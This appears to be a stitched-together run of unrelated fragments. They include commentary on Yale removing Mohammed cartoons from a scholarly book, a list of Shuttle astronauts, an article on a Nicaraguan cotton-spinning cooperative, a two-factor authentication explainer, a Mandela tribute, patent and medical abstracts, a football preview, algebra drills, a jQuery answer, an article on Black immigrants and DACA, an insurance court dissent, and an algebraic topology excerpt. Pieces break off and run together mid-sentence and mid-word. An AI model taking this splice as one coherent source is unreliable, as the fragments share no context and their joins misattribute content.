By choosing to remove all depictions of the Prophet Mohammed from Brandeis Professor Jytte Klausen’s book, The Cartoons That Shook the World, to be published by Yale University Press in early October, Yale University has betrayed academic freedom. Worse, Yale has surrendered without protest to nonexistent demands it merely imagines from those willing to kill to silence views with which they disagree. So much for the pen being mightier than the sword. Four years ago, in September of 2005, the Danish daily Jyllands-Posten ran a set of 12 editorial cartoon caricatures of Mohammed. In an accompanying note, the paper’s culture […]
Criticism continues to rain down on Yale University and Yale University Press for their decision to remove all images of the Prophet Muhammad from a forthcoming scholarly book, The Cartoons That Shook the World, by Jytte Klausen. Now the National Coalition Against Censorship and a group of academic and free-speech organizations have sent a letter of protest to Yale’s president, Richard C. Levin, and the Yale Corporation. “This misguided action established a dangerous precedent that threatens academic and intellectual freedom around the world,” the coalition wrote. It said that the university’s action “compromises the principle and practice of academic freedom, […]
By Daniel Ortner at The Brandeis Hoot The infirmity of free speech became abundantly clear when Prof. Jytte Klausen (POL) became the latest victim of the politically correct assault on academic freedom and discourse. Klausen is a leading expert on the growing Islamic population in Europe, and her latest book, “The Cartoons That Shook the World,” focuses on the Muhammad cartoon controversy-arguing that rather than represent a truly deep seeded cultural animosity, the explosion of violence that followed the cartoons’ publication was incited by radicals looking to score political victories. Thus, one would expect that the book would allow the reader to […]
Comedy Central’s cartoon hit South Park is famous for its shocking and offensive humor, targeted at subjects ranging from Queen Elizabeth to Scientology. The show’s renowned satire takes an unapologetic attitude towards goring sacred cows, and fans have come to regard South Park‘s principled stance |
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4555
] | ang (Sweden; 2 flights)
STS-116 (ISS assembly mission – launched the P5 Truss Segment)
STS-128
Umberto Guidoni (Italy; 2 flights)
STS-75 (orbital science mission) – flight performed before being selected as Mission Specialist
STS-100 (ISS assembly mission – launched Canadarm2)
Steven G. MacLean (Canada; 2 flights)
STS-52 (deployed the LAGEOS-II Satellite) – flight performed before being selected as Mission Specialist
STS-115 (ISS assembly mission – launched the P3/P4 Truss Assemblies)
Mamoru Mohri (Japan; 2 flights)
STS-47 (orbital science mission) – flight performed before being selected as Mission Specialist
STS-99 (Shuttle Radar Topography Mission)
Soichi Noguchi (Japan; 1 flight)
STS-114 (the first "Return to Flight" mission after the Space Shuttle Columbia disaster)
Julie Payette (Canada; 2 flights) since 2 October 2017, the 29th Governor General of Canada.
STS-96 (ISS supply mission)
STS-127 (ISS supply mission)
Philippe Perrin (France; 1 flight)
STS-111 (ISS resupply mission)
Gerhard Thiele (Germany; 1 flight)
STS-99 (Shuttle Radar Topography Mission)
References
External links
Astronaut Biographies: Home Page
Category:NASA Astronaut Corps
Category:Lists of astronautsBrigade inspired professor's co-op research
May 04, 2009
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CIUDAD SANDINO, NICARAGUA – In a dusty corner of the Jubilee House Community compound outside Managua, a factory is taking shape where a cooperative of women and men hope to build a sustainable business making organic cotton yarn for clothing.
The concrete walls and metal roof trusses of the Genesis Spinning Plant Cooperative, built and assembled with help from the Bucknell Brigade to Nicaragua, are awaiting a roof and final touches. First, however, the 29 members of the cooperative must agree on a contract and secure loans and licenses to operate as a worker-owned business in a free-trade zone.
Like an already operating Women’s Sewing Cooperative next door, their goal is to engage in "fair trade" with decent wages and working conditions. Convincing the women that the long-term investment will pay off is, however, one of the ongoing struggles of building such sustainable businesses in developing countries like Nicaragua, said Paul Susman, a geography professor at Bucknell University.
"There's a challenge for any group of people to alter their behavior to work as a cooperative," Susman said. "The women in the (spinning) cooperative were independent entrepreneurs, selling fish from Lake Managua, selling everything. Their whole outlook was survival mode in which they were mostly out for themselves and their families."
Research 'an outgrowth' of brigadeSusman is conducting research on the successes and failures of co-ops in Nueva Vida, a resettlement area established for survivors of Hurricane Mitch in 1998. His research was inspired by his work with the Bucknell Brigade, which this year marks its 10th anniversary. Susman has traveled with the brigade many times as a faculty leader. Through his experiences, he was inspired to conduct research on co-ops and, with fellow geography professor Duane Griffin, to produce maps for farmers in remote areas to enable their operations to become certified organic.
Susman also has developed a three-week summer course, Grassroots Development: Nicaragua, which he offers every other year. The next class leaves for Nicaragua in mid-May.
"My research has been an outgrowth of going on the brigade with the students," Susman said. "Going down there with the students was some of the best teaching and learning experience I've ever had."
Concerns about sustainabilitySeveral delegations of the Bucknell Brigade have worked with the cooperative on construction of the factory, which is scheduled to be completed by September. Work temporarily stopped in late March while a group of brigade alumni was in Nicaragua for a 10th anniversary trip.
"We're very concerned about the economy," co-op member Jamileth Bravo Martinez said to the alumni brigade through a translator. "We want to be producing. We've had some delays. Not only do we have to finish work but we have to organize ourselves in a better way. What concerns us is that we would spend another year without generating income for our families."
Co-op President Janet Alfara said the group is uncertain about how realistic its profit projections are.
"The reality is we don't know how much we'll earn until we have practical experience," Alfara said.
Giving up 'steady work'Many of the women involved in the spinning co-op gave up $2-a-day jobs in sweatshops to create their own business with encouragement from the Jubilee House Community, which runs the Center for Development in Central America. JHC is the Bucknell Brigade's host agency in Nicaragua. The organization has worked with the Nueva Vida community to identify needs and launch ventures to build a sustainable livelihood.
As part of a fair trade zone, the spinning co-op members will receive higher wages, benefits and better working conditions than in the sweatshops. Their work will involve deseeding and cleaning raw cotton with antique, hand-crank machinery in a ginning plant and spinning the cotton into yarn for clothing. The clothing is to be assembled at a nearby sewing cooperative, also started with the help of JHC.
High hopesThe idea for a spinning cooperative came about as a way of providing a steady supply of organic cotton for the sewing cooperative, which is in the first worker-owned free trade zone in the world. JHC has helped the spinning group secure other clients in Central America. The organic cotton will come from Nicaraguan farmers, and the yarn will be knitted together by Nicaraguan and Costa Rican workers.
Initially, JHC had hoped that the sewing cooperative would partner with the spinning cooperative to allow the spinning co-op to forego some of the startup fees, Susman said. But the sewing cooperative decided not to expand into new territory and instead concentrate on making its garment production profitable. The spinning group now is trying to secure a loan through the Inter-American Development Bank.
JHC is hoping the new spinning co-op will avoid some of the pitfalls experienced by the sewing cooperative, which now operates independently, Susman said. Members of the sewing cooperative did not put enough money into their "rainy day" fund and as a consequence were unable to sustain the principle of allowing employees to buy into the co-op after three months, Susman said. JHC hopes the new co-op will be 100 percent worker-owned.
Watching the U.S. economyEconomist Carlos Pacheco, who addressed the alumni during the March trip, noted that the Nicaraguan economy is dependent on the U.S. economy. Nicaragua has been intertwined with the United States for decades as a result of U.S. political and economic intervention.
"This (economic) crisis is affecting all countries, but some at a higher level. Nicaragua is not an exception," Pacheco said. "Because of the one market free-trade, Nicaragua is dependent on an external market. That's like having a farm with one product. Nicaragua depends on the North American market for exportation."
The Central American Free Trade Agreement, known as CAFTA, was intended to make it easier for countries in Central America to do business in the United States, Susman explained. His research shows, however, that big businesses benefit much more from CAFTA than small ones like the sewing co-op.
"The overreaching framework of CAFTA is biased for big companies and puts smaller companies at a tremendous disadvantage," Susman said. "There is enormous paperwork, a $350 filing fee, and a $10,000 bond has to be put up, just to get free trade zone status. This is an almost insurmountable obstacle for a small firm. Other requirements make it difficult for the small companies to buy in bulk, further disadvantaging them."
'Strong model' for sustainabilityThe spinning cooperative is, however, a strong model for sustainable business and promoting local well-being, Susman said, provided the members focus on quality and work with as many Nicaraguan producers as possible.
"The Genesis spinning cooperative is trying to set itself up, and the members are undergoing extensive education in how to be successful operators of a cooperatively structured business," Susman said. "Hopefully, they will succeed, creating income and opportunities in the immediate area."
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11050
] | -factor authentication (2FA) is a good way to help keep data safe.
This is an extra layer of security to make sure people trying to gain access to an online account are who they say they are.
First, a user will enter their username and a password. Then, instead of immediately gaining access, they’ll be required to provide a finger print, a voice command, or a code texted to your mobile device for example. Sometimes it’s some extra information. You know the drill: first pet, mother’s maiden name – those guys.
Again you can change two-step verification in your settings in WhatsApp.DOCUMENTS
Mourning Mandela - FW de Klerk Foundation
It is today four years since South Africa mourned the passing of Nelson Rolihlahla Mandela, the first President of the democratic and non-racial South Africa. And even though this is a short time in the life of a country, it seems much longer. This feeling originates from the fact that in the last four years, the country has moved almost a lifetime away from Madiba’s South Africa. During, and for some time after his presidency, South Africa was the country of hope, of reconciliation, of an active reconstruction and development programme, and of a public service with a motto such as batho pele, the people first.
Even within his beloved ANC, countless leaders have asked the question of what Madiba would have thought of the South Africa of 2017. A South Africa where hope has all but left even the most patriotic of South Africans, where reconciliation has been replaced with racialisation and intolerance, where not even the most basic of government programmes are implemented and service delivery has grinded to a halt, where the motto of the public service is, with only a few exceptions, ke pele, me first. Those same leaders answered their own question: He would have been pained, sad and furious. Lack of leadership, corruption and state capture are far from the ideal society Madiba had envisaged for the nation.
We as a country miss you, Madiba. We miss your fearless leadership, your honesty and integrity, your unrelenting drive for non-racialism and reconciliation. We miss the fact that you deemed yourself not to be above the law, and remained a servant to the people. We miss your compassion for the poor and our humanity. We know that you were not infallible, an ordinary but gifted human being. But we appreciate now even more that you served your people in the best way that you could - in strict accordance with the Constitution that is your ultimate legacy.
We at the FW de Klerk Foundation, with our founder, the co-recipient of your Nobel Peace Prize, mourn your passing. We do so not in desperation, but with a strong resolve to honour your legacy in the best way we can - to uphold and protect the Constitution, and to hold all politicians and other leaders accountable to that ultimate guideline.The present invention relates to wireless communication, and more particularly to minimizing power losses during wireless communication.
Backscatter modulation is a common communication technique in many RFID applications. Backscatter modulation can be used in a passive RFID tag to send data back to an RFID reader without using a transmitter. Instead, communication is accomplished by repeatedly shunting a coil in the RFID tag through a transistor, the shunting causes slight fluctuations in the RFID reader's carrier amplitude. As the secondary winding is momentarily shunted, the primary winding experiences a momentary voltage drop. The RFID reader can detect this voltage drop and interpret that data as a bit. Bits can be strung together by systematically shunting the secondary winding. The data bits can be encoded by a variety of encoding algorithms that may affect error recovery, cost of implementation, bandwidth, or synchronization capability.
Backscatter modulation and variations thereof have also been used outside the RFID context, for example in communication between an inductive power supply and a remote device in a wireless power transfer system. U.S. patent application Ser. No. 11/855,710 filed by David W. Baarman on Sep. 14, 2008, entitled “System and Method for Inductively Charging a Battery” and U.S. Patent Application No. 61/019,411 filed by David W. Baarman on Jan. 7, 2008 entitled “Inductive Power Supply with Duty Cycle Control” disclose shunting a resistor in a remote device to communicate with an inductive power supply, and are both herein incorporated by reference.
There are a number of challenges with backscatter modulation and similar techniques that occur within inductive power supply systems that are not as problematic in traditional RFID systems. In an inductive power supply system, the amount of power delivered to the remote device may vary. For example, a mobile phone in standby mode will likely draw significantly less power from an inductive power supply than the mobile phone would draw during a telephone call. As the amount of power drawn by or delivered to the secondary increases, the power losses associated with communicating increase. Further, power losses are often amplified because the communication resistor for a remote device is typically selected during manufacture to account for worse case scenarios. This additional reliability often comes at the price of additional power losses during communication, even in normal or optimal conditions. The nature of a wirelessly powered load can become dynamic with the variances of coupling associated with spatial movement which is complicated by a wide array of device requirements from light to heavy loads. This dynamic can change the power requirements of the system, adjustments to the system as described herein can help account for the changing power requirements.[Factor analysis of the results of combined clinico-radiological examination in thyroid diseases].
The paper is concerned with factor analysis data on the results of combined radioclinical investigation in thyroid diseases. A program including 111 parameters in 291 patients (anamnestic data, results of physical examination, palpation of the thyroid and the neck region, scannographic, thermographic, and ultrasound symptoms, indicators of radiometry and in vitro tests) was developed at the IBM Company. This method was employed for obtaining objective information on the diagnostic value of each method as well as for detecting certain symptoms of the greatest diagnostic importance in different nosological entities of thyroid diseases.SUMTER COUNTY EAGLES
YORK | After finishing 6-5 overall and 4-2 in region play last year, head coach Bob Taylor plans for Sumter Academy to make it past the first round of AISA state playoffs in the 2008 football season.
Sumter Academy lost 27-20 to Autauga Academy in the first round of the playoffs last year.'Our goal this year is the same as every year, and that is to make it to Troy for the state championship,' Taylor said.Going into the 2008 season, the Eagles have lost nine seniors, including starting quarterback Mark Geiger. Geiger suffered from a knee injury midway through the 2007 season.'After Mark got hurt things had to be changed around a little to go with the skills of our back up quarterback,' said Taylor.'It was like having a fruit basket turned over in the middle of the season, but our replacement stepped up and performed well.'Senior Tanner Armstrong, who was the starting running back for the Eagles last year, will now be the starting quarterback going into the 2008 season.'I am expecting a lot out of Tanner. He is a great leader,' Taylor said.Paul Reed, a freshman, is backup quarterback.Depth continues to be a problem for the Eagles. With a 21-man roster, Sumter Academy will have to avoid key injuries.'We are few in numbers, so in our summer workouts we focused on getting stronger and being in great condition,' Taylor said.Taylor said that a lot of the younger players are going to have to step up and produce on the field.Junior Court Hendricks will be starting at running back along with senior Brian McCarty. Taylor said that both Hendricks and McCarty will be keys for the Eagles' offense. Sophomore Casewell Compton will get into the mix at the quarterback position and sophomore Preston Weekley will receive playing time at running back.The Eagles will be returning six starters on offense and five on defense.Senior Ryan Guin will be at tight end, the same duties he had last year. Senior Sutton Smitherman will be starting at offensive guard.'Both Ryan and Sutton have been around the program and know what is expected. They have showed great leadership in the early part of the year,' said Taylor.'Ryan had 69 tackles for the 2007 year playing defensive end, and Sutton is just an all-around good ball player.'
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Digital access or digital and print delivery.= 0 for c.
-3
Let d be 27*(-5)/(45/(-12)). Let k = d - 20. Solve -3*w - k = w for w.
-4
Let n be 1*(-1 - (-4 + 1)). Solve -b - n*b + 15 = 0 for b.
5
Suppose -5*h = -54 - 26. Solve -4 + h = -4*p for p.
-3
Let c(q) = -q**3 + 3*q**2 - q. Let a be c(0). Solve a*y - y = -5 for y.
5
Let j(d) = -d**3 + 9*d**2 + d - 5. Let k be j(9). Suppose -2*r = z - 10, k*z = r + 3*r + 4. Solve 5 = -4*u - r for u.
-2
Suppose -2*k + 10 = 4. Solve -k = -z - 2 for z.
1
Let i be (-18 - 0)*(- |
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jQuery Docs: http://api.jquery.com/template-tag-each/
UPDATE
I've updated my solution now that I see what you're after. If you want to start a new ul (or tr) after every three (or six, or whatever) elements in the response array, check the index of the current element, not the length of the full response array.
<script id="inventorySummaryTmpl" type="text/x-jquery-tmpl">
<ul>
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DEMO: http://jsfiddle.net/jackwanders/ZzddF/1/
TELLING STORIES, CHANGING THE CONVERSATION
Disparities in US immigration policy show Black immigrants face biases
The experiences and voices of Black immigrants from Africa, Latin America and the Caribbean, are largely invisible in the current tumultuous immigration climate of the US. Several key organizations work to fill in erasure by offering services that grant migrants a fighting chance amidst criminalization.
Statistics show that African Afro-Latino and Caribbean immigrants are at a disadvantage when examining U.S. action taken against the two groups.
From 2010-2014, a total of 232,000 undocumented immigrants from the Caribbean entered the United States, according to a 2016 report from theMigration Policy Institute. The majority of these immigrants emigrate from the Dominican Republic with 98,000 immigrants, Jamaica with 59,000 immigrants, and Haiti with 7,000 immigrants.
Significant disparities were reported between the number of unauthorized immigrants who entered the US, and those approved under the Deferred Action for Child Arrivals (DACA).
98,000 undocumented Dominicans arrived in the U.S. in 2014, but as of 2016, only 13,000 undocumented youth were eligible for DACA. Out of the 3,463 applications submitted to DACA, only 2,907 were approved.
Although, 59,000 undocumented Jamaican immigrants arrived in the U.S. in 2014, as of 2016, only 9,000 were eligible for DACA. With 4,155 of these immigrants who applied, only 3,928 applications were approved.
Benjamin Ndugga-Kabuye, research and advocacy manager for Black Alliance for Just Immigration (BAJI), cites many formalities within DACA and Deferred Action for Parental Arrivals (DAPA) leading to inaction within the current immigration climate.
“I think for Black immigrants in particular there was a general distrust of the government. What people must understand is that DACA/DAPA required giving up very detailed information about yourself,” Ndugga-Kabuye said. “Immigrants from the Caribbean in particular represent communities that have long history in the US, so for many undocumented Black immigrants who are older, they may not have been eligible at all.”
Ndugga-Kabuye further states,“Funding and support for immigration largely flows to non-Black organizations so the necessary outreach for the people who were eligible was not there… There are very few Black led organizations that directly advocate for Black immigrants and they often receive minimal support.”
The Washington Post also reported from BAJI sources, that Black immigrants who apply for DACA are less likely to be approved than their non-Black counterparts. The two countries that have the highest amount of DACA applications with Black populations are in the Caribbean, which include Jamaica and Trinidad and Tobago.
Removal, Criminal Charges, and Return Disparities
The term “deportation” is commonly designated to someone living in the U.S. who is officially ejected from the country. Yet in 1996, it was replaced with “removal.” Another term, “return,” applies when an immigrant is turned back from U.S. borders; formally replacing “voluntary departure.”
According to theU.S. Department of Homeland Security (DHS), between 1943-2010, the amount of returns always exceeded the amount of removals, as per the newly applied definitions for deportation and voluntary departure.
For the first time in over 50 years, the balance between removals and returns changed. From 2011-2016, the amount of removals was consistently higher than the returns.
In fact, the amount of removals was three times the amount of returns in 2016.
In that same year, within the amount of people removed, a total of nearly 98% of removals comprised people from Caribbean and Latin American countries combined. Around 40% of those individuals removed faced criminal charges.
“Increased deportation was just the natural occurrence. While Obama set a record, Bush II had the record before him, and Clinton before that. What we were seeing is the natural trend when a nation chooses cages as its central policy position,” Ndugga-Kabuye said. “Black immigrants make up a large percentage of removals because anti-Blackness is a global phenomenon, this country in particular has [been] targeting Black immigrants because allied with Black Americans they have historically been a source of rebellion.”
However, a total of 20,127 undocumented Salvadoran immigrants were removed from the United States in 2016, 6,681 of whom faced criminal charges.
By contrast, the combined population of those returned to Latin American and Caribbean countries amounted to only 41% of returns that same year. Only 452 Salvadorans were returned. By definition, none of these returned individuals faced criminal charges.
By 2019, over 260,000 legal Salvadoran immigrants may lose their Temporary Protected Status (TPS). The approximate total number of legal Latin American immigrants in danger of losing their TPS status amounts to 400,000.
Despite these facts, Black and Latino immigrants are the most criminalized in mainstream U.S. media outlets. In 2017,Forbes reported that 83% of mainstream media representations showcasing unlawful acts were allegedly committed by Black and Latino immigrants. They also revealed that mainstream media outlets depicted 38% of Latino immigrants as “incarcerated.”
Organizations trying to help those affected by this issue
UndocuBlack Network is another organization, consisting of multigenerational, undocumented, and once-undocumented Black immigrants.Their mission is to facilitate access to resources for the undocumented Black community, as well as, ‘Blackify [the] United States’ understanding of the undocumented population.”
Since much of the narrative and news around immigrant discourse focuses on non-black, Latin Americans, the organization provides a lens into the experiences of Black migrants.
On July 26, the UndocuBlack Network, reported the release of an organization member and Ghanian, Sadat Ibrahim, after a detention period of 921 days. Ibrahim was transferred to different detention centers five times and is a openly gay Black immigrant. He is now able to apply for asylum in the U.S. as he immigrated to escape persecution.
According to a report from theQueer Detainee Empowerment Project, immigrant-detainees who are LGBTQIA are twice as likely to be victims of sexual assault than their heterosexual counterparts. Many of these queer detainees are also likely to be put in solitary confinement.
Ibrahim, released on a $10,000 bond, is in disbelief, “I still don’t believe I am a free person today.” Ibrahim recalled. “[Immigration officials were] playing games with my life and the lives of many others.”
Instagram
Ark Builders
MEET THE ARKITECTS
Newark, New Jersey
AFRICAN DIASPORA
A professor at New York University who teaches writing, she specializes in research focusing on the African diaspora and media. A published author, journalist, poet and budding documentarian, she has worked in media for over 20 years. Her endeavors encompass three areas: academia, artistry and activism.
KAIA NIAMBI SHIVERS
Lexington, Kentucky
FATHERHOOD
A native of Harlem, he earned his BA in English from Hunter College, CUNY, and his PhD in English from Rutgers University, with a focus on African American Literature. He now lives in Lexington, Kentucky and teaches in the Whitney Young Center of Global Leadership at Kentucky State University. He co-parents a bright young son who is energetic and savvy.
DONAVAN RAMON
Los Angeles, California
TV & FILM
An editor on some of televisions popular reality shows, her love is in editing film and telling stories through TV and movies. Working for almost a decade at Sundance Film Festival, she shifts her lens to virtual reality and documentary productions.
TASHA CURTIS
Maplewood, New Jersey
FOODWAYS
Executive chef and partner of Cornbread |
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45
] | insured, which automatically gives rise to any insurable interest as defined in section 281.[7]
Having concluded that the insured clause is overbroad, the invalidity of State Farm's argument that it may be employed as a means to exclude bodily injuries to any insured under the general exclusion provision becomes apparent, because such a construction is clearly contrary to public policy as legislatively declared in sections 11580.05 and 11580.1, subdivision (c)(5). (See Farmers Ins. Exchange v. Cocking (1981) 29 Cal.3d 383, 388 [173 Cal. Rptr. 846, 628 P.2d 1]; Farmers Ins. Exchange v. Teachers Ins. Co. (1980) 101 Cal. App.3d 804, 809 [161 Cal. Rptr. 738].)
*848 The following rules of statutory construction apply: "Where the construction of a statute is necessary, it should be interpreted so as to produce a result that is reasonable ... [in light of] the context of the law ... [and with due] consideration ... [for] the consequences that will flow from a particular interpretation." (People ex rel. Riles v. Windsor University (1977) 71 Cal. App.3d 326, 332 [139 Cal. Rptr. 378].) If a statute is susceptible to two different constructions, one leading to absurd consequences and the other consistent with justice and common sense, the latter will be adopted. (Schulz v. Superior Court (1977) 66 Cal. App.3d 440, 446 [136 Cal. Rptr. 67]; Outboard Marine Corp. v. Superior Court (1975) 52 Cal. App.3d 30, 36 [124 Cal. Rptr. 852].) "`It is assumed that the Legislature has in mind existing laws when it passes a statute....'" (Bailey v. Superior Court (1977) 19 Cal.3d 970, 977, fn. 10 [140 Cal. Rptr. 669, 568 P.2d 394].) Finally, "the various parts of a statutory enactment must be harmonized by considering the particular clause or section in the context of the statutory framework as a whole." (Moyer v. Workmen's Comp. Appeals Bd. (1973) 10 Cal.3d 222, 230 [110 Cal. Rptr. 144, 514 P.2d 1224].)
Section 11580.1, subdivision (c)(5) permits an exclusion for bodily injury to "an insured," which the subdivision defined as "any insured under the policy." Section 280 further requires an insured to have an insurable interest. Section 11580.06 defines insured as the "named insured and any other person to whom coverage is afforded under the terms of any such [motor vehicle] policy." These provisions must be read together, authorizing the exclusion of any insured only if that insured has an insurable interest. For, permissive users or family members who have no ownership or control interest in the insured vehicle, do not possess an insurable interest until personal commission of an act from which liability under the policy could arise. I recognize that language within subdivision (c)(5)[8] may literally suggest the exclusion *849 would apply regardless of whether the claimant has an insurable interest. However, such a literal reading of the provision is inappropriate because then an insurer, by naming any person or class of persons whatsoever (i.e., all persons in the County of San Diego) as an additional insured under the policy without regard to insurable interest, could exclude that person or class of persons contrary to public policy pertaining to financial responsibility and the providing of as much protection to the public on the highways as possible. Also, section 11580.1 sets forth the minimum required standards for a California automobile liability policy of insurance. It specifically designates those classes of individuals which must be covered as (1) the named insured and (2) any other person using or legally responsible for the use of such motor vehicle when used by the named insured or his permittee. (Id., subd. (b)(4).) These classes, by definition, consist of persons having an insurable interest as defined in section 281. While this language does not purport to limit the carrier from providing coverage to other classes of persons, it does not reflect the intent of the Legislature to allow an insurer to extend liability coverage to persons having no legal responsibility for the use of the vehicle or who cannot be reasonably expected to use it themselves.[9]
Consequently, the determination of invalidity rests further upon the overbreadth of the general exclusion provision as to any insured patterned after the judicially approved subdivision (c)(5) (see Farmers Ins. Exchange v. Cocking, supra, 29 Cal.3d 383), resulting from its reliance upon the application of the facially overbroad insured clause. In light of my determination, it is irrelevant whether plaintiffs may have qualified as additional insured. (See Phelps v. Allstate Ins. Co. (1980) 106 Cal. App.3d 752, 758 [165 Cal. Rptr. 263].) Since this infirmity can be cured only by rewriting (reforming) the insured clause, a task which is beyond our power, the clause must be stricken. (Id., at pp. 757-759.)
Finally, State Farm's reliance upon Farmers Ins. Exchange v. Cocking, supra, 29 Cal.3d 383, is misplaced. There the Supreme Court held section 11580.1, subdivision (c)(5), "is not only consistent with state *850 public policy, ... [but] constitutes and expresses that policy." (Farmers Ins. Exchange v. Cocking, supra, 29 Cal.3d 383, 388.) The court further upheld the provision against a challenge on equal protection grounds. (Id., at pp. 389-391.) Granted, regarding the latter, the Supreme Court set forth a public policy analysis not only supporting its determination there existed several considerations fully satisfying the rational basis test, but also addressing the propriety of the family exclusion an issue not before us. It did not, however, consider or discuss, let alone condone, the incorporation of persons having no insurable interest as nominal insureds, resulting in the exposure of the insurer to no forseeable additional liability while excluding the liability claims brought by those individuals against the legitimate insureds.
To summarize, section 11850.1, subdivision (c)(5) authorizes an insurer to exclude from coverage "[l]iability for bodily injury to an insured." Section 280 provides an individual cannot be an insured under a policy absent an insurable interest. Because State Farm has defined "an insured" under their policy to include individuals who cannot possibly have an insurable interest, that definition is overbroad when used for the purpose of excluding coverage and must be stricken. Moreover, by analogy to the statutorily mandated omnibus provision, unless a member of a class of nominally insureds has an ownership or control interest in the vehicle, that member has no insurable interest until he commits an act from which liability under the policy could arise.[10]
I would reverse.
Appellants' petition for a hearing by the Supreme Court was denied February 10, 1982. Bird, C.J., was of the opinion that the petition should be granted.
NOTES
[1] All references are to the Insurance Code unless otherwise specified.
[2] Certain stipulated facts were introduced at the time of the declaratory relief trial. In addition, the automobile liability policy from which the dispute arises was entered into evidence. The policy covers only a four-month period, from May 5, 1977, to September 10, 1977, and the accident occurred within that span. At the time of the accident, the children were approximately 8 and 14 years of age, respectively.
[3] Section 11580.05, in pertinent part, reads as follows: "The Legislature declares that the public policy of this state in regard to provisions authorized or required to be included in policies affording automobile liability insurance or motor vehicle liability insurance issued or delivered in this state shall be as stated in this article, that this article expresses the total public policy of this state respecting the content of such policies...."
[4] We do not believe the classification is overbroad since the related person must live in the same household. This would make him a member of the family and within the ambit of the discussion in Cocking. Certainly there is no comparison to a group the size of all the residents of San Diego County as suggested by the dissent. It is highly unlikely, however, the carrier would want to cover as "insureds" a group that size in order to prevent suits against the named insured.
[1] State Farm concedes its defining of resident relatives as additional insureds was an "in house" decision not based on statutory definition. Thus, it concedes no statutory limits to this omnibus class. Thus, the similar clause referred to in California State Auto. Assn. Inter-Ins. Bureau v. Warwick (1976) 17 Cal.3d 190, 193 [130 Cal. Rptr. 520, 550 P.2d 1056], appears to include all relatives, even nonresidents. There, as in our case, the degree of relationship is not limited so that a California insured, who while sightseeing in Philadelphia strikes his unknown fourth cousin in a crosswalk, finds he has contracted away insurance coverage.
[2] We do not now concern ourselves with whether this contract is one of adhesion.
[3] The rationale behind this rule is apparently the avoidance of wagering contracts. (Osborne v. Security Ins. Co., supra, 155 Cal. App.2d 201, 205; 6A Appleman, Insurance Law and Practice, supra; Melnick, Cal. Auto. Insurance Law Guide (Cont.Ed.Bar 1973) § 1.11, p. 10; 1 A.L |
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] | {cases}$$ As these are an alternative basis of $\Lambda$ there is an automorphism $D \colon \Lambda \to \Lambda$, uniquely determined by $D(s_\lambda) = s_{\langle \lambda \rangle}$. The involution satisfies $\omega(sp_\lambda) = o_{\lambda'}$ with $\lambda'$ the transposition of $\lambda$, [@KoikeTerada Theorem 2.3.2].
The $s_{\langle \lambda \rangle}$ are defined so that (for all $g$) the map of $\lambda$-rings $$\begin{aligned}
\Lambda {\longrightarrow}R(G),\end{aligned}$$ uniquely determined by $s_1 \mapsto H$, sends $s_{\langle \lambda \rangle}$ to the representation $V_\lambda$ (and so is surjective). This map is isomorphism “for large enough $g$”: the components $\Lambda_k$ for $k < g$ are mapped isomorphically onto the subgroup spanned by $V_\lambda$ with $|\lambda| < g$.
As for symmetric groups, we can add a homological grading. The result is a surjection of $\lambda$-rings $$\Lambda[[t]][t^{-1}] {\longrightarrow}gR(G),$$ with $gR(G)$ the Grothendieck group of graded algebraic $G$-representations. In a stable range this has an inverse, which is the Hilbert–Poincaré series of a graded algebraic $G$-representation.
The Bousfield–Kan spectral sequence {#sec:bk-ss}
-----------------------------------
We will use spectral sequences which arise from a tower of fibrations of pointed spaces, as discussed in [@bousfieldkan Ch. XI. 4.1] and summarised in [@KR-WAlg Section 5.1].
Given a tower of based spaces $$\cdots {\longrightarrow}X_2 {\longrightarrow}X_1 {\longrightarrow}X_0,$$ we denote by $F_n \coloneqq \operatorname*{hofib}[X_n \to X_{n-1}]$ the homotopy fibres between adjacent stages, with the convention $X_{-1} = \ast$. The long exact sequences of homotopy groups $$\to \pi_2(X_{n-1}) \to \pi_1(F_n) \to \pi_1(X_n) \to \pi_1(X_{n-1}) \overset{\circlearrowright}\to \pi_0(F_n) \to \pi_0(X_n) \to \pi_0(X_{n-1})$$ are *extended exact sequences*: their rightmost three terms are pointed sets, next three terms groups, and remaining terms abelian groups, and they are exact in an appropriate sense. These can be assembled to *extended exact couple* (in the sense of [@bousfieldkan §.IX.4.1]) $$\begin{tikzcd} D^1 \arrow{rr}{i} & & D^1 \ar{ld}{j} \\
& E^1, \arrow{lu}{k} & \end{tikzcd} \qquad \parbox{5cm}{$D^1_{p,q} = \pi_{q-p}(X_p),$ \\
$E^1_{p,q} = \pi_{q-p}(F_p)$,}$$ and its derived couple is again an extended exact couple [@bousfieldkan p. 259]. The result is an *extended spectral sequence* $$E^1_{p,q} = \pi_{q-p}(F_p) \Longrightarrow \pi_{q-p}(\operatorname*{holim}_p X_p),$$ with $E^r_{p,q}$ is concentrated in the range $p \geq 0$, $q-p \geq 0$. For $q-p=0$ its entries consist of pointed sets, for $q-p=1$ of groups, and $q-p \geq 2$ of abelian groups. In the cases which appear in this paper it *converges completely* in the sense of [@bousfieldkan Ch. IX. 5.3], which means that $\pi_{q-p}(\operatorname*{holim}_p X_p)$ is the limit of a tower of epimorphisms with kernels given by entries on the $E^\infty$-page.
This spectral sequence is natural in maps of towers of based spaces. It is also natural in the following further sense. The long exact sequence of homotopy groups for $F_n \to X_n \to X_{n-1}$ comes with a natural $\pi_1(X_n)$-action [@spanier p. 385]. Thus, given a based map from $Y$ to the tower, we get an action $\pi_1(Y)$ on the extended couple. The construction of an extended spectral sequence from an extended exact couple is natural in the latter, so we obtain an action of $\pi_1(Y)$ on the extended spectral sequence. When the spectral sequence converges completely, this action converges to the action of $\pi_1(Y)$ on $\pi_*(\operatorname*{holim}_p X_p)$. In particular, we can take $Y = \operatorname*{holim}_p X_p$.
Total homotopy fibres {#sec:tohofib}
---------------------
Let us recall the notion of a total homotopy fibre of a cubical diagram of based spaces [@munsonvolic]A *$k$-cube* is a functor ${\mathcal{X}}$ from the poset ${\mathsf{P}}(S)$ of subsets of a finite set $S$ of cardinality $k$ to pointed spaces, e.g. for $S = {\underline{2}}$ it is a square $$\begin{tikzcd} {\mathcal{X}}_{\varnothing} \rar \dar & {\mathcal{X}}_1 \dar \\
